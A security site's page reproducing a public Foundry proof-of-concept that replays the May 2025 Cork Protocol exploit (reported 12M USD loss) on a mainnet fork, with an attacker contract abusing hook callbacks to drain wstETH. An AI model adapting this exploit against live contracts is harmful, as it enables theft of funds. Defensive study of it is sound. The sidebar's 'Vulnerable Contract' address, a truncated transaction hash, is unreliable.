Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/Corkprotocol_exp.sol

Public reproduction file for dataset entry Corkprotocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/Corkprotocol_exp.sol290 lines
1pragma solidity 0.8.26;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 12M USD
7// Attacker : 0xea6f30e360192bae715599e15e2f765b49e4da98
8// Attack Contract : https://etherscan.io/address/0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09
9// Vulnerable Contract :
10// Attack Txs: https://app.blocksec.com/explorer/tx/eth/0xfd89cdd0be468a564dd525b222b728386d7c6780cf7b2f90d2b54493be09f64d
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/SlowMist_Team/status/1928100756156194955
17// Twitter Guy : https://x.com/SlowMist_Team/status/1928100756156194955
18// Hacking God : N/A
20address constant ERC1967Proxy = 0xCCd90F6435dd78C4ECCED1FA4db0D7242548a2a9;
21address constant LiquidityToken = 0x05816980fAEC123dEAe7233326a1041f372f4466;
22address constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
23address constant ERC1967Proxy2 = 0x96E0121D1cb39a46877aaE11DB85bc661f88D5fA;
24address constant CorkConfig = 0xF0DA8927Df8D759d5BA6d3d714B1452135D99cFC;
25address constant CorkHook = 0x5287E8915445aee78e10190559D8Dd21E0E9Ea88;
26address constant PoolManager = 0x000000000004444c5dc75cB358380D2e3dE08A90;
27address constant _pa = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;
28address constant _exchangeRateProvider = 0x7b285955DdcbAa597155968f9c4e901bb4c99263;
29address constant _erc1967Proxy = 0x55B90B37416DC0Bd936045A8110d1aF3B6Bf0fc3;
30address constant attacker = 0xEA6f30e360192bae715599E15e2F765B49E4da98;
32contract ContractTest is Test {
33 function setUp() public {
34 vm.createSelectFork("mainnet", 22581020 - 1);
35 }
37 function testPoC() public {
38 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(WstETH).balanceOf(attacker), 18);
39 vm.startPrank(attacker, attacker);
40 AttackerC attC = new AttackerC();
41 // Approve in https://app.blocksec.com/explorer/tx/eth/0xb54308956e58fc124503e01eaae153e54eb738fd188e476460dba78e61793b45
42 IERC20(WstETH).approve(address(attC), 1928391283912839123812839123000000000000000000);
43 // Approve in https://app.blocksec.com/explorer/tx/eth/0x89ba58edaf9f40dc0c781c40351ba392be31263faa6be3a29c2ee152f271df6d?line=0
44 IERC20(LiquidityToken).approve(address(attC), 123981298312831298398123000000000000000000);
45 attC.attack();
46 vm.stopPrank();
47 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(WstETH).balanceOf(attacker), 18);
48 }
51contract AttackerC is Test {
52 function attack() public {
53 uint256 balLT = IERC20(LiquidityToken).balanceOf(attacker);
54 IERC20(LiquidityToken).transferFrom(attacker, address(ERC1967Proxy), balLT);
56 uint256 balW = IERC20(WstETH).balanceOf(attacker);
57 IERC20(WstETH).transferFrom(attacker, address(this), balW);
59 (address[] memory ct, address[] memory ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(
60 address(WstETH),
61 _pa,
62 uint256(493150684700) * 1e6,
63 7776001,
64 _exchangeRateProvider,
65 uint8(0),
66 uint8(7)
67 );
69 address ct2 = ct[1];
70 address ds2 = ds[1];
72 (uint256 rA, uint256 rB) = ICorkHook(CorkHook).getReserves(address(WstETH), ct2);
74 // approve CorkHook for both tokens
75 IERC20(WstETH).approve(address(CorkHook), type(uint256).max);
76 IERC20(ct2).approve(address(CorkHook), type(uint256).max);
78 uint256 minOut = (rB * 9999) / 10000;
79 ICorkHook(CorkHook).swap(address(WstETH), address(ct2), 0, minOut, "");
81 IERC20(WstETH).approve(address(CorkHook), 0);
82 IERC20(ct2).approve(address(CorkHook), 0);
84 // approve ERC1967Proxy for WstETH and depositPsm
85 IERC20(WstETH).approve(address(ERC1967Proxy), type(uint256).max);
86 (uint256 received, uint256 _exchangeRate) = IERC1967ProxyA(ERC1967Proxy).depositPsm(
87 bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a),
88 4e15
89 );
90 IERC20(WstETH).approve(address(ERC1967Proxy), 0);
92 ICorkConfig(CorkConfig).initializeModuleCore(
93 address(WstETH),
94 ds2,
95 uint256(1),
96 uint256(100),
97 address(this)
98 );
100 bytes32 id = IERC1967ProxyA(ERC1967Proxy).getId(
101 address(WstETH),
102 ds2,
103 uint256(1),
104 uint256(100),
105 address(this)
106 );
108 ICorkConfig(CorkConfig).issueNewDs(id, block.timestamp * 10);
110 (address[] memory n_ct, address[] memory n_ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(
111 ds2,
112 address(WstETH),
113 uint256(1),
114 uint256(100),
115 address(this),
116 uint8(0),
117 uint8(1)
118 );
120 address ct3 = n_ct[0];
121 address ds3 = n_ds[0];
123 IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);
125 uint256 balRa7 = IERC20(ds2).balanceOf(address(this));
126 // may revert
127 IERC1967ProxyA(ERC1967Proxy).depositLv(
128 id,
129 balRa7 / 2,
130 0,
131 0,
132 0,
133 block.timestamp * 10
134 );
136 bytes memory data = abi.encode(
137 ds2,
138 ct3,
139 id,
140 ds3
141 );
142 (bool ok, ) = address(PoolManager).call(
143 abi.encodeWithSelector(
144 IPoolManager.unlock.selector,
145 data
146 )
147 );
149 uint256 balCT2 = IERC20(ct2).balanceOf(address(this));
150 uint256 balDS2 = IERC20(ds2).balanceOf(address(this));
152 IERC20(ct2).approve(address(ERC1967Proxy), type(uint256).max);
153 IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);
155 IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(
156 bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a),
157 // id,
158 balCT2
159 );
161 IERC20(WstETH).approve(address(ERC1967Proxy), 0);
162 IERC20(WstETH).approve(address(CorkHook), 0);
163 IERC20(WstETH).approve(address(_erc1967Proxy), 0);
165 withdraw();
166 }
168 function beforeSwap(address sender, PoolKey memory key, SwapParams memory params, bytes memory data) internal {
169 (bool success, ) = CorkHook.call(
170 abi.encodeWithSelector(
171 ICorkHook.beforeSwap.selector,
172 sender,
173 key,
174 params,
175 data
176 )
177 );
178 }
180 function unlockCallback(bytes calldata cd) external returns (bytes memory){
181 (address ds2, address ct3, bytes32 id, address ds3) = abi.decode(cd, (address, address, bytes32, address));
182 uint bal = IERC20(ds2).balanceOf(_erc1967Proxy);
184 IPoolManager(PoolManager).sync(ct3);
185 PoolKey memory key = PoolKey({
186 currency0: ct3,
187 currency1: ds2,
188 fee: 0,
189 tickSpacing: 1,
190 hooks: address(this)
191 });
192 bytes memory hookData = abi.encode(
193 uint256(1),
194 address(this),
195 uint256(0),
196 bal,
197 id,
198 uint256(1)
199 );
201 beforeSwap(_erc1967Proxy, key, SwapParams({
202 zeroForOne: true,
203 amountSpecified: 100000000000000,
204 sqrtPriceLimitX96: 79228162514264337593543950336
205 }), hookData);
207 IERC20(ct3).approve(address(PoolManager), 123);
208 IERC20(ct3).transfer(address(PoolManager), 110987905101460);
210 uint256 r = IPoolManager(PoolManager).settleFor(address(CorkHook));
212 beforeSwap(_erc1967Proxy, key, SwapParams({
213 zeroForOne: false,
214 amountSpecified: int256(r),
215 sqrtPriceLimitX96: 79228162514264337593543950336
216 }), hex"");
219 IERC20(ds3).approve(address(ERC1967Proxy), type(uint256).max);
220 IERC20(ct3).approve(address(ERC1967Proxy), type(uint256).max);
222 uint256 balDs2 = IERC20(ct3).balanceOf(address(this));
224 IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(
225 id,
226 balDs2
227 );
229 IPoolManager(PoolManager).sync(ds2);
230 IERC20(ds2).transfer(address(PoolManager), 1);
232 IPoolManager(PoolManager).settleFor(address(CorkHook));
234 return hex"";
235 }
237 function rate() public view returns (uint256) {
238 return 0;
239 }
241 function rate(bytes32) public view returns (uint256) {
242 return 1;
243 }
245 function withdraw() public {
246 uint256 bal = IERC20(WstETH).balanceOf(address(this));
247 IERC20(WstETH).transfer(attacker, bal);
248 }
252interface IERC1967ProxyA {
253 function returnRaWithCtDs(bytes32, uint256) external returns (uint256);
254 function depositPsm(bytes32, uint256) external returns (uint256, uint256);
255 function depositLv(bytes32, uint256, uint256, uint256, uint256, uint256) external returns (uint256);
256 function getId(address, address, uint256, uint256, address) external returns (bytes32);
258interface IERC1967ProxyB {
259 function getDeployedSwapAssets(address, address, uint256, uint256, address, uint8, uint8) external returns (address[] memory, address[] memory);
261interface ICorkConfig {
262 function issueNewDs(bytes32, uint256) external;
263 function initializeModuleCore(address, address, uint256, uint256, address) external;
266struct PoolKey {
267 address currency0;
268 address currency1;
269 uint24 fee;
270 int24 tickSpacing;
271 address hooks;
274struct SwapParams {
275 bool zeroForOne;
276 int256 amountSpecified;
277 uint160 sqrtPriceLimitX96;
280interface ICorkHook {
281 function swap(address, address, uint256, uint256, bytes calldata) external returns (uint256);
282 function getReserves(address, address) external returns (uint256, uint256);
283 function beforeSwap(address, PoolKey calldata, SwapParams calldata, bytes calldata) external returns (bytes4, int256, uint24);
285interface IPoolManager {
286 function unlock(bytes calldata) external returns (bytes memory);
287 function settleFor(address) external returns (uint256);
288 function sync(address) external;

Analysis

Dataset entry

Public Foundry test for “Corkprotocol” (2025-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xea6f30e360192bae715599e15e2f765b49e4da98

  • Attack Contract

    0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09

  • Vulnerable Contract

    0xfd89cdd0be468a564dd525b222b728386d7c6780

  • Attack Tx

    0xfd89cdd0be468a564dd525b222b728386d7c6780cf7b2f90d2b54493be09f64d

File record

Name
Corkprotocol
Path
src/test/2025-05/Corkprotocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
496ba1dbce999052a7b4c08104e5af43542c2990
Language
Solidity
Size
291 lines
Date
2025-05-28
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/Corkprotocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 496ba1dbce999052a7b4c08104e5af43542c2990, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.